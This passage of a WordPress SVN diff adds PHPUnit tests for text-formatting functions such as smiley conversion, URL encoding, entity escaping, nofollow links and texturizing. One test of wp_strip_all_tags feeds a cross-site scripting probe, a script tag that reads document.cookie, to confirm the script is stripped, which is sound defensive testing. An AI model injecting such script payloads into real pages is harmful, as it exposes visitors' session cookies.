+	 * Validate Conversion of Smilies is ignored in pre-determined tags
+	 * pre, code, script, style
+	 *
+	 * @ticket 16448
+	 * @dataProvider get_smilies_ignore_tags
+	 */
+	public function test_ignore_smilies_in_tags( $element ) {
+		$includes_path = includes_url("images/smilies/");
+
+		$in_str = 'Do we ingore smilies ;-) in ' . $element . ' tags <' . $element . '>My Content Here :?: </' . $element . '>';
+		$exp_str = "Do we ingore smilies \xf0\x9f\x98\x89 in $element tags <$element>My Content Here :?: </$element>";
+
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+		smilies_init();
+
+		$this->assertEquals( $exp_str, convert_smilies($in_str) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+	}
+
+	/**
+	 * DataProvider of Smilie Combinations
+	 *
+	 */
+	public function get_smilies_combinations() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'8-O :-(',
+				"\xf0\x9f\x98\xaf \xf0\x9f\x99\x81"
+			),
+			array (
+				'8-) 8-O',
+				"\xf0\x9f\x98\x8e \xf0\x9f\x98\xaf"
+			),
+			array (
+				'8-) 8O',
+				"\xf0\x9f\x98\x8e \xf0\x9f\x98\xaf"
+			),
+			array (
+				'8-) :-(',
+				"\xf0\x9f\x98\x8e \xf0\x9f\x99\x81"
+			),
+			array (
+				'8-) :twisted:',
+				"\xf0\x9f\x98\x8e \xf0\x9f\x98\x88"
+			),
+			array (
+				'8O :twisted: :( :? :roll: :mrgreen:',
+				"\xf0\x9f\x98\xaf \xf0\x9f\x98\x88 \xf0\x9f\x99\x81 \xf0\x9f\x98\x95 \xf0\x9f\x99\x84 <img src=\"{$includes_path}mrgreen.png\" alt=\":mrgreen:\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />"
+			),
+		);
+	}
+
+	/**
+	 * Validate Combinations of Smilies separated by single space
+	 * are converted correctly
+	 *
+	 * @ticket 20124
+	 * @dataProvider get_smilies_combinations
+	 */
+	public function test_smilies_combinations( $in_txt, $converted_txt ) {
+		// custom smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// custom smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+	}
+
+	/**
+	 * DataProvider of Single Smilies input and converted output
+	 *
+	 */
+	public function get_single_smilies_input_output() {
+		$includes_path = includes_url("images/smilies/");
+
+		return array (
+			array (
+				'8-O :-(',
+				'8-O :-('
+			),
+			array (
+				'8O :) additional text here :)',
+				'8O <img src="' . $includes_path . 'simple-smile.png" alt=":)" class="wp-smiley" style="height: 1em; max-height: 1em;" /> additional text here <img src="' . $includes_path . 'simple-smile.png" alt=":)" class="wp-smiley" style="height: 1em; max-height: 1em;" />'
+			),
+			array (
+				':) :) :) :)',
+				'<img src="' . $includes_path . 'simple-smile.png" alt=":)" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <img src="' . $includes_path . 'simple-smile.png" alt=":)" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <img src="' . $includes_path . 'simple-smile.png" alt=":)" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <img src="' . $includes_path . 'simple-smile.png" alt=":)" class="wp-smiley" style="height: 1em; max-height: 1em;" />'
+			),
+		);
+	}
+
+	/**
+	 * Validate Smilies are converted for single smilie in
+	 * the $wpsmiliestrans global array
+	 *
+	 * @ticket 25303
+	 * @dataProvider get_single_smilies_input_output
+	 */
+	public function test_single_smilies_in_wpsmiliestrans( $in_txt, $converted_txt ) {
+		global $wpsmiliestrans;
+
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		if ( !isset( $wpsmiliestrans ) ) {
+			smilies_init();
+		}
+
+		$orig_trans = $wpsmiliestrans; // save original tranlations array
+
+		$wpsmiliestrans = array (
+		  ':)' => 'simple-smile.png'
+		);
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies($in_txt) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+
+		$this->assertEquals( $in_txt, convert_smilies($in_txt) );
+
+		$wpsmiliestrans = $orig_trans; // reset original translations array
+	}
+
+	public function get_spaces_around_smilies() {
+		$nbsp = "\xC2\xA0";
+
+		return array(
+			array(
+				'test :) smile',
+				"test \xf0\x9f\x99\x82 smile"
+			),
+			array(
+				'test &nbsp;:)&nbsp;smile',
+				"test &nbsp;\xf0\x9f\x99\x82&nbsp;smile"
+			),
+			array(
+				"test {$nbsp}:){$nbsp}smile",
+				"test {$nbsp}\xf0\x9f\x99\x82{$nbsp}smile"
+			)
+		);
+	}
+
+	/**
+	 * Check that $wp_smiliessearch pattern will match smilies
+	 * between spaces, but never capture those spaces.
+	 *
+	 * Further check that spaces aren't randomly deleted
+	 * or added when replacing the text with an image.
+	 *
+	 * @ticket 22692
+	 * @dataProvider get_spaces_around_smilies
+	 */
+	function test_spaces_around_smilies( $in_txt, $converted_txt ) {
+		// standard smilies, use_smilies: ON
+		update_option( 'use_smilies', 1 );
+
+		smilies_init();
+
+		$this->assertEquals( $converted_txt, convert_smilies( $in_txt ) );
+
+		// standard smilies, use_smilies: OFF
+		update_option( 'use_smilies', 0 );
+	}
+
+	/**
+	 * Test to ensure smilies can be removed with a filter
+	 *
+	 * @ticket 35905
+	 */
+	public function test_smilies_filter_removes_smilies() {
+		add_filter( 'smilies', array( $this, '_filter_remove_smilies' ) );
+		smilies_init();
+		remove_filter( 'smilies', array( $this, '_filter_remove_smilies' ) );
+
+		$txt = ':oops: I did it again';
+
+		$this->assertEquals( $txt, convert_smilies( $txt ) );
+	}
+
+	/**
+	 * Test to ensure smilies can be added with a filter
+	 *
+	 * @ticket 35905
+	 */
+	public function test_smilies_filter_adds_smilies() {
+		add_filter( 'smilies', array( $this, '_filter_add_smilies' ) );
+		smilies_init();
+		remove_filter( 'smilies', array( $this, '_filter_add_smilies' ) );
+
+		$txt = 'You played with my <3';
+		$expected_txt = 'You played with my \xe2\x9d\xa4';
+
+		$this->assertEquals( $expected_txt, convert_smilies( $txt ) );
+	}
+
+
+	 public function _filter_remove_smilies( $wpsmiliestrans ) {
+		unset( $wpsmiliestrans[':oops:'] );
+		return $wpsmiliestrans;
+	 }
+
+	 public function _filter_add_smilies( $wpsmiliestrans ) {
+		$wpsmiliestrans['<3'] = '\xe2\x9d\xa4';
+		return $wpsmiliestrans;
+	 }
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/StripSlashesDeep.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/StripSlashesDeep.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/StripSlashesDeep.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_StripSlashesDeep extends WP_UnitTestCase {
+	/**
+	 * @ticket 18026
+	 */
+	function test_preserves_original_datatype() {
+
+		$this->assertEquals( true, stripslashes_deep( true ) );
+		$this->assertEquals( false, stripslashes_deep( false ) );
+		$this->assertEquals( 4, stripslashes_deep( 4 ) );
+		$this->assertEquals( 'foo', stripslashes_deep( 'foo' ) );
+		$arr = array( 'a' => true, 'b' => false, 'c' => 4, 'd' => 'foo' );
+		$arr['e'] = $arr; // Add a sub-array
+		$this->assertEquals( $arr, stripslashes_deep( $arr ) ); // Keyed array
+		$this->assertEquals( array_values( $arr ), stripslashes_deep( array_values( $arr ) ) ); // Non-keyed
+
+		$obj = new stdClass;
+		foreach ( $arr as $k => $v )
+			$obj->$k = $v;
+		$this->assertEquals( $obj, stripslashes_deep( $obj ) );
+	}
+
+	function test_strips_slashes() {
+		$old = "I can\'t see, isn\'t that it?";
+		$new = "I can't see, isn't that it?";
+		$this->assertEquals( $new, stripslashes_deep( $old ) );
+		$this->assertEquals( $new, stripslashes_deep( "I can\\'t see, isn\\'t that it?" ) );
+		$this->assertEquals( array( 'a' => $new ), stripslashes_deep( array( 'a' => $old ) ) ); // Keyed array
+		$this->assertEquals( array( $new ), stripslashes_deep( array( $old ) ) ); // Non-keyed
+
+		$obj_old = new stdClass;
+		$obj_old->a = $old;
+		$obj_new = new stdClass;
+		$obj_new->a = $new;
+		$this->assertEquals( $obj_new, stripslashes_deep( $obj_old ) );
+	}
+
+	function test_permits_escaped_slash() {
+		$txt = "I can't see, isn\'t that it?";
+		$this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\'t that it?" ) );
+		$this->assertEquals( $txt, stripslashes_deep( "I can\'t see, isn\\\\\'t that it?" ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/URLShorten.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/URLShorten.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/URLShorten.php	(revision 56912)
@@ -0,0 +1,22 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_URLShorten extends WP_UnitTestCase {
+	function test_shorten_url() {
+		$tests = array(
+			'wordpress\.org/about/philosophy' => 'wordpress\.org/about/philosophy', // no longer strips slashes
+			'wordpress.org/about/philosophy' => 'wordpress.org/about/philosophy',
+			'http://wordpress.org/about/philosophy/' => 'wordpress.org/about/philosophy', // remove http, trailing slash
+			'http://www.wordpress.org/about/philosophy/' => 'wordpress.org/about/philosophy', // remove http, www
+			'http://wordpress.org/about/philosophy/#box' => 'wordpress.org/about/philosophy/#box', // don't shorten 35 characters
+			'http://wordpress.org/about/philosophy/#decisions' => 'wordpress.org/about/philosophy/#&hellip;', // shorten to 32 if > 35 after cleaning
+		);
+		foreach ( $tests as $k => $v ) {
+			$this->assertEquals( $v, url_shorten( $k ) );
+		}
+
+		$this->assertEquals( 'wordpress.org/about/philosophy/#&hellip;', url_shorten( 'http://wordpress.org/about/philosophy/#decisions' ), 31 ); // shorten to 31 if > 34 after cleaning
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/UrlencodeDeep.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/UrlencodeDeep.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/UrlencodeDeep.php	(revision 56912)
@@ -0,0 +1,46 @@
+<?php
+
+/**
+ * @group formatting
+ * @ticket 22300
+ */
+class Tests_Formatting_UrlencodeDeep extends WP_UnitTestCase {
+
+	/**
+	 * Data Provider
+	 */
+	public function data_test_values() {
+		return array(
+			array( 'qwerty123456', 'qwerty123456' ),
+			array( '|!"£$%&/()=?', '%7C%21%22%C2%A3%24%25%26%2F%28%29%3D%3F' ),
+			array( '^é*ç°§;:_-.,', '%5E%C3%A9%2A%C3%A7%C2%B0%C2%A7%3B%3A_-.%2C' ),
+			array( 'abc123 @#[]€', 'abc123+%40%23%5B%5D%E2%82%AC' ),
+			array( 'abc123 @#[]€', urlencode( 'abc123 @#[]€' ) ),
+		);
+	}
+
+	/**
+	 * Validate the urlencode_deep function pair by pair
+	 *
+	 * @dataProvider data_test_values
+	 *
+	 * @param string $actual
+	 * @param string $expected
+	 */
+	public function test_urlencode_deep_should_encode_individual_value( $actual, $expected ) {
+		$this->assertEquals( $expected, urlencode_deep( $actual ) );
+	}
+
+	/**
+	 * Test the whole array as input
+	 */
+	public function test_urlencode_deep_should_encode_all_values_in_array() {
+		$data = $this->data_test_values();
+
+		$actual   = wp_list_pluck( $data, 0 );
+		$expected = wp_list_pluck( $data, 1 );
+
+		$this->assertEquals( $expected, urlencode_deep( $actual ) );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/Utf8UriEncode.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/Utf8UriEncode.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/Utf8UriEncode.php	(revision 56912)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Utf8UriEncode extends WP_UnitTestCase {
+
+	/**
+	 * Non-ASCII UTF-8 characters should be percent encoded. Spaces etc.
+	 * are dealt with elsewhere.
+	 *
+	 * @dataProvider data
+	 */
+	function test_percent_encodes_non_reserved_characters( $utf8, $urlencoded ) {
+		$this->assertEquals( $urlencoded, utf8_uri_encode( $utf8 ) );
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test_output_is_not_longer_than_optional_length_argument( $utf8, $unused_for_this_test ) {
+		$max_length = 30;
+		$this->assertTrue( strlen( utf8_uri_encode( $utf8, $max_length ) ) <= $max_length );
+	}
+
+	function data() {
+		$utf8_urls  = file( DIR_TESTDATA . '/formatting/utf-8/utf-8.txt' );
+		$urlencoded = file( DIR_TESTDATA . '/formatting/utf-8/urlencoded.txt' );
+        $data_provided = array();
+		foreach ( $utf8_urls as $key => $value ) {
+			$data_provided[] = array( trim( $value ), trim( $urlencoded[ $key ] ) );
+		}
+		return $data_provided;
+	}
+}
+
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPBasename.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPBasename.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPBasename.php	(revision 56912)
@@ -0,0 +1,34 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WP_Basename extends WP_UnitTestCase {
+
+	function test_wp_basename_unix() {
+		$this->assertEquals('file',
+			wp_basename('/home/test/file'));
+	}
+
+	function test_wp_basename_unix_utf8_support() {
+		$this->assertEquals('žluťoučký kůň.txt',
+			wp_basename('/test/žluťoučký kůň.txt'));
+	}
+
+	/**
+	 * @ticket 22138
+	 */
+	function test_wp_basename_windows() {
+		$this->assertEquals('file.txt',
+			wp_basename('C:\Documents and Settings\User\file.txt'));
+	}
+
+	/**
+	 * @ticket 22138
+	 */
+	function test_wp_basename_windows_utf8_support() {
+		$this->assertEquals('щипцы.txt',
+			wp_basename('C:\test\щипцы.txt'));
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPMakeLinkRelative.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPMakeLinkRelative.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPMakeLinkRelative.php	(revision 56912)
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPMakeLinkRelative extends WP_UnitTestCase {
+
+	public function test_wp_make_link_relative_with_http_scheme() {
+		$link = 'http://example.com/this-is-a-test-http-url/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test-http-url/', $relative_link );
+	}
+
+	public function test_wp_make_link_relative_with_https_scheme() {
+		$link = 'https://example.com/this-is-a-test-https-url/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test-https-url/', $relative_link );
+	}
+
+	/**
+	 * @ticket 30373
+	 */
+	public function test_wp_make_link_relative_with_no_scheme() {
+		$link = '//example.com/this-is-a-test-schemeless-url/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test-schemeless-url/', $relative_link );
+	}
+
+	/**
+	 * @ticket 30373
+	 */
+	public function test_wp_make_link_relative_should_retain_URL_param_that_is_also_a_URL() {
+		$link = 'https://example.com/this-is-a-test/?redirect=https://example.org/a-different-test-post/';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '/this-is-a-test/?redirect=https://example.org/a-different-test-post/', $relative_link );
+	}
+
+	/**
+	 * @ticket 26819
+	 */
+	function test_wp_make_link_relative_with_no_path() {
+		$link = 'http://example.com';
+		$relative_link = wp_make_link_relative( $link );
+		$this->assertEquals( '', $relative_link );
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPRelNoFollow.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPRelNoFollow.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPRelNoFollow.php	(revision 56912)
@@ -0,0 +1,83 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Rel_No_Follow extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 9959
+	 */
+	public function test_add_no_follow() {
+		$content = '<p>This is some cool <a href="/">Code</a></p>';
+		$expected = '<p>This is some cool <a href=\"/\" rel=\"nofollow\">Code</a></p>';
+		$this->assertEquals( $expected, wp_rel_nofollow( $content ) );
+	}
+
+	/**
+	 * @ticket 9959
+	 */
+	public function test_convert_no_follow() {
+		$content = '<p>This is some cool <a href="/" rel="weird">Code</a></p>';
+		$expected = '<p>This is some cool <a href=\"/\" rel=\"weird nofollow\">Code</a></p>';
+		$this->assertEquals( $expected, wp_rel_nofollow( $content ) );
+	}
+
+	/**
+	 * @ticket 11360
+	 * @dataProvider data_wp_rel_nofollow
+	 */
+	public function test_wp_rel_nofollow( $input, $output ) {
+		return $this->assertEquals( wp_slash( $output ), wp_rel_nofollow( $input ) );
+	}
+
+	public function data_wp_rel_nofollow() {
+		$home_url_http  = set_url_scheme( home_url(), 'http' );
+		$home_url_https = set_url_scheme( home_url(), 'https' );
+
+		return array(
+			array(
+				'<a href="">Double Quotes</a>',
+				'<a href="" rel="nofollow">Double Quotes</a>',
+			),
+			array(
+				'<a href="https://wordpress.org">Double Quotes</a>',
+				'<a href="https://wordpress.org" rel="nofollow">Double Quotes</a>',
+			),
+			array(
+				"<a href='https://wordpress.org'>Single Quotes</a>",
+				"<a href='https://wordpress.org' rel=\"nofollow\">Single Quotes</a>",
+			),
+			array(
+				'<a href="https://wordpress.org" title="Title">Multiple attributes</a>',
+				'<a href="https://wordpress.org" title="Title" rel="nofollow">Multiple attributes</a>',
+			),
+			array(
+				'<a title="Title" href="https://wordpress.org">Multiple attributes</a>',
+				'<a title="Title" href="https://wordpress.org" rel="nofollow">Multiple attributes</a>',
+			),
+			array(
+				'<a data-someflag href="https://wordpress.org">Multiple attributes</a>',
+				'<a data-someflag href="https://wordpress.org" rel="nofollow">Multiple attributes</a>',
+			),
+			array(
+				'<a  data-someflag  title="Title"  href="https://wordpress.org" onclick=""  >Everything at once</a>',
+				'<a  data-someflag  title="Title"  href="https://wordpress.org" onclick=""   rel="nofollow">Everything at once</a>',
+			),
+			array(
+				'<a href="' . $home_url_http . '/some-url">Home URL (http)</a>',
+				'<a href="' . $home_url_http . '/some-url">Home URL (http)</a>',
+			),
+			array(
+				'<a href="' . $home_url_https . '/some-url">Home URL (https)</a>',
+				'<a href="' . $home_url_https . '/some-url">Home URL (https)</a>',
+			),
+		);
+	}
+
+	public function test_append_no_follow_with_valueless_attribute() {
+		$content = '<p>This is some cool <a href="demo.com" download rel="hola">Code</a></p>';
+		$expected = '<p>This is some cool <a href=\"demo.com\" download rel=\"hola nofollow\">Code</a></p>';
+		$this->assertEquals( $expected, wp_rel_nofollow( $content ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPSpecialchars.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPSpecialchars.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPSpecialchars.php	(revision 56912)
@@ -0,0 +1,100 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPSpecialchars extends WP_UnitTestCase {
+	function test_wp_specialchars_basics() {
+		$html =  "&amp;&lt;hello world&gt;";
+		$this->assertEquals( $html, _wp_specialchars( $html ) );
+
+		$double = "&amp;amp;&amp;lt;hello world&amp;gt;";
+		$this->assertEquals( $double, _wp_specialchars( $html, ENT_NOQUOTES, false, true ) );
+	}
+
+	function test_allowed_entity_names() {
+		global $allowedentitynames;
+
+		// Allowed entities should be unchanged
+		foreach ( $allowedentitynames as $ent ) {
+			if ( 'apos' == $ent ) {
+				// But for some reason, PHP doesn't allow &apos;
+				continue;
+			}
+			$ent = '&' . $ent . ';';
+			$this->assertEquals( $ent, _wp_specialchars( $ent ) );
+		}
+	}
+
+	function test_not_allowed_entity_names() {
+		$ents = array( 'iacut', 'aposs', 'pos', 'apo', 'apo?', 'apo.*', '.*apo.*', 'apos ', ' apos', ' apos ' );
+
+		foreach ( $ents as $ent ) {
+			$escaped = '&amp;' . $ent . ';';
+			$ent = '&' . $ent . ';';
+			$this->assertEquals( $escaped, _wp_specialchars( $ent ) );
+		}
+	}
+
+	function test_optionally_escapes_quotes() {
+		$source = "\"'hello!'\"";
+		$this->assertEquals( '"&#039;hello!&#039;"', _wp_specialchars($source, 'single') );
+		$this->assertEquals( "&quot;'hello!'&quot;", _wp_specialchars($source, 'double') );
+		$this->assertEquals( '&quot;&#039;hello!&#039;&quot;', _wp_specialchars($source, true) );
+		$this->assertEquals( $source, _wp_specialchars($source) );
+	}
+
+	/**
+	 * Check some of the double-encoding features for entity references.
+	 *
+	 * @ticket 17780
+	 * @dataProvider data_double_encoding
+	 */
+	function test_double_encoding( $input, $output ) {
+		return $this->assertEquals( $output, _wp_specialchars( $input, ENT_NOQUOTES, false, true ) );
+	}
+
+	function data_double_encoding() {
+		return array(
+			array(
+				'This & that, this &amp; that, &#8212; &quot; &QUOT; &Uacute; &nbsp; &#34; &#034; &#0034; &#x00022; &#x22; &dollar; &times;',
+				'This &amp; that, this &amp;amp; that, &amp;#8212; &amp;quot; &amp;QUOT; &amp;Uacute; &amp;nbsp; &amp;#34; &amp;#034; &amp;#0034; &amp;#x00022; &amp;#x22; &amp;dollar; &amp;times;',
+			),
+			array(
+				'&& &&amp; &amp;&amp; &amp;;',
+				'&amp;&amp; &amp;&amp;amp; &amp;amp;&amp;amp; &amp;amp;;',
+			),
+			array(
+				'&garbage; &***; &aaaa; &0000; &####; &;;',
+				'&amp;garbage; &amp;***; &amp;aaaa; &amp;0000; &amp;####; &amp;;;',
+			),
+		);
+	}
+
+	/**
+	 * Check some of the double-encoding features for entity references.
+	 *
+	 * @ticket 17780
+	 * @dataProvider data_no_double_encoding
+	 */
+	function test_no_double_encoding( $input, $output ) {
+		return $this->assertEquals( $output, _wp_specialchars( $input, ENT_NOQUOTES, false, false ) );
+	}
+
+	function data_no_double_encoding() {
+		return array(
+			array(
+				'This & that, this &amp; that, &#8212; &quot; &QUOT; &Uacute; &nbsp; &#34; &#034; &#0034; &#x00022; &#x22; &dollar; &times;',
+				'This &amp; that, this &amp; that, &#8212; &quot; &amp;QUOT; &Uacute; &nbsp; &#034; &#034; &#034; &#x22; &#x22; &amp;dollar; &times;',
+			),
+			array(
+				'&& &&amp; &amp;&amp; &amp;;',
+				'&amp;&amp; &amp;&amp; &amp;&amp; &amp;;',
+			),
+			array(
+				'&garbage; &***; &aaaa; &0000; &####; &;;',
+				'&amp;garbage; &amp;***; &amp;aaaa; &amp;0000; &amp;####; &amp;;;',
+			),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPStripAllTags.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPStripAllTags.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPStripAllTags.php	(revision 56912)
@@ -0,0 +1,33 @@
+<?php
+/**
+ * Test wp_strip_all_tags()
+ *
+ * @group formatting
+ */
+class Tests_Formatting_WPStripAllTags extends WP_UnitTestCase {
+
+	function test_wp_strip_all_tags() {
+
+		$text = 'lorem<br />ipsum';
+		$this->assertEquals( 'loremipsum', wp_strip_all_tags( $text ) );
+
+		$text = "lorem<br />\nipsum";
+		$this->assertEquals( "lorem\nipsum", wp_strip_all_tags( $text ) );
+
+		// test removing breaks is working
+		$text = "lorem<br />ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text, true ) );
+
+		// test script / style tag's contents is removed
+		$text = "lorem<script>alert(document.cookie)</script>ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text ) );
+
+		$text = "lorem<style>* { display: 'none' }</style>ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text ) );
+
+		// test "marlformed" markup of contents
+		$text = "lorem<style>* { display: 'none' }<script>alert( document.cookie )</script></style>ipsum";
+		$this->assertEquals( "loremipsum", wp_strip_all_tags( $text ) );
+	}
+}
+
Index: /tags/5.0.20/tests/phpunit/tests/formatting/WPTexturize.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/formatting/WPTexturize.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/formatting/WPTexturize.php	(revision 56912)
@@ -0,0 +1,2089 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WPTexturize extends WP_UnitTestCase {
+	function test_dashes() {
+		$this->assertEquals('Hey &#8212; boo?', wptexturize('Hey -- boo?'));
+		$this->assertEquals('<a href="http://xx--xx">Hey &#8212; boo?</a>', wptexturize('<a href="http://xx--xx">Hey -- boo?</a>'));
+	}
+
+	function test_disable() {
+		$this->assertEquals('<pre>---&</pre>', wptexturize('<pre>---&</pre>'));
+		$this->assertEquals('<pre><code></code>--&</pre>', wptexturize('<pre><code></code>--&</pre>'));
+
+		$this->assertEquals( '<code>---&</code>',     wptexturize( '<code>---&</code>'     ) );
+		$this->assertEquals( '<kbd>---&</kbd>',       wptexturize( '<kbd>---&</kbd>'       ) );
+		$this->assertEquals( '<style>---&</style>',   wptexturize( '<style>---&</style>'   ) );
+		$this->assertEquals( '<script>---&</script>', wptexturize( '<script>---&</script>' ) );
+		$this->assertEquals( '<tt>---&</tt>',         wptexturize( '<tt>---&</tt>'         ) );
+
+		$this->assertEquals('<code>href="baba"</code> &#8220;baba&#8221;', wptexturize('<code>href="baba"</code> "baba"'));
+
+		$enabled_tags_inside_code = '<code>curl -s <a href="http://x/">baba</a> | grep sfive | cut -d "\"" -f 10 &gt; topmp3.txt</code>';
+		$this->assertEquals($enabled_tags_inside_code, wptexturize($enabled_tags_inside_code));
+
+		$double_nest = '<pre>"baba"<code>"baba"<pre></pre></code>"baba"</pre>';
+		$this->assertEquals($double_nest, wptexturize($double_nest));
+
+		$invalid_nest = '<pre></code>"baba"</pre>';
+		$this->assertEquals($invalid_nest, wptexturize($invalid_nest));
+
+	}
+
+	//WP Ticket #1418
+	function test_bracketed_quotes_1418() {
+		$this->assertEquals('(&#8220;test&#8221;)', wptexturize('("test")'));
+		$this->assertEquals('(&#8216;test&#8217;)', wptexturize("('test')"));
+		$this->assertEquals('(&#8217;twas)', wptexturize("('twas)"));
+	}
+
+	//WP Ticket #3810
+	function test_bracketed_quotes_3810() {
+		$this->assertEquals('A dog (&#8220;Hubertus&#8221;) was sent out.', wptexturize('A dog ("Hubertus") was sent out.'));
+	}
+
+	//WP Ticket #4539
+	function test_basic_quotes() {
+		$this->assertEquals('test&#8217;s', wptexturize('test\'s'));
+
+		$this->assertEquals('&#8216;quoted&#8217;', wptexturize('\'quoted\''));
+		$this->assertEquals('&#8220;quoted&#8221;', wptexturize('"quoted"'));
+
+		$this->assertEquals('space before &#8216;quoted&#8217; space after', wptexturize('space before \'quoted\' space after'));
+		$this->assertEquals('space before &#8220;quoted&#8221; space after', wptexturize('space before "quoted" space after'));
+
+		$this->assertEquals('(&#8216;quoted&#8217;)', wptexturize('(\'quoted\')'));
+		$this->assertEquals('{&#8220;quoted&#8221;}', wptexturize('{"quoted"}'));
+
+		$this->assertEquals('&#8216;qu(ot)ed&#8217;', wptexturize('\'qu(ot)ed\''));
+		$this->assertEquals('&#8220;qu{ot}ed&#8221;', wptexturize('"qu{ot}ed"'));
+
+		$this->assertEquals(' &#8216;test&#8217;s quoted&#8217; ', wptexturize(' \'test\'s quoted\' '));
+		$this->assertEquals(' &#8220;test&#8217;s quoted&#8221; ', wptexturize(' "test\'s quoted" '));
+	}
+
+	/**
+	 * @ticket 4539
+	 * @ticket 15241
+	 */
+	function test_full_sentences_with_unmatched_single_quotes() {
+		$this->assertEquals(
+			'That means every moment you&#8217;re working on something without it being in the public it&#8217;s actually dying.',
+			wptexturize("That means every moment you're working on something without it being in the public it's actually dying.")
+		);
+	}
+
+	/**
+	 * @ticket 4539
+	 */
+	function test_quotes() {
+		$this->assertEquals('&#8220;Quoted String&#8221;', wptexturize('"Quoted String"'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link and a period</a>&#8221;.', wptexturize('Here is "<a href="http://example.com">a test with a link and a period</a>".'));
+		$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221; and a space.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>" and a space.'));
+		$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a> and some text quoted&#8221;', wptexturize('Here is "<a href="http://example.com">a test with a link</a> and some text quoted"'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;, and a comma.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>", and a comma.'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;; and a semi-colon.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"; and a semi-colon.'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;- and a dash.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"- and a dash.'));
+		//$this->assertEquals('Here is &#8220;<a href="http://example.com">a test with a link</a>&#8221;&#8230; and ellipses.', wptexturize('Here is "<a href="http://example.com">a test with a link</a>"... and ellipses.'));
+		//$this->assertEquals('Here is &#8220;a test <a href="http://example.com">with a link</a>&#8221;.', wptexturize('Here is "a test <a href="http://example.com">with a link</a>".'));
